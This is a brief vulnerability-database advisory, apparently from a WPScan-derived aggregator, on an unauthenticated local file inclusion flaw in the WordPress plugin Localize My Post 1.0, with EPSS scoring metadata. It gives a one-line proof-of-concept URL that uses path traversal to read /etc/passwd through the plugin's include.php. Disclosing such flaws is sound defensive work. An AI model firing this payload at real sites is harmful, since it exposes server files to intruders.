Lucene search

K
wpvulndbRyan DewhurstWPVDB-ID:B84237D0-A58C-48CC-BBD0-32A2D575536C
HistorySep 19, 2018 - 12:00 a.m.

Localize My Post 1.0 - Unauthenticated Local File Inclusion (LFI)

2018-09-1900:00:00
Ryan Dewhurst
wpscan.com
10

0.023 Low

EPSS

Percentile

89.7%

The localize-my-post WordPress plugin was affected by an Unauthenticated Local File Inclusion (LFI) security vulnerability.

PoC

http://www.example.com/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd

CPENameOperatorVersion
localize-my-posteq*

0.023 Low

EPSS

Percentile

89.7%

Related for WPVDB-ID:B84237D0-A58C-48CC-BBD0-32A2D575536C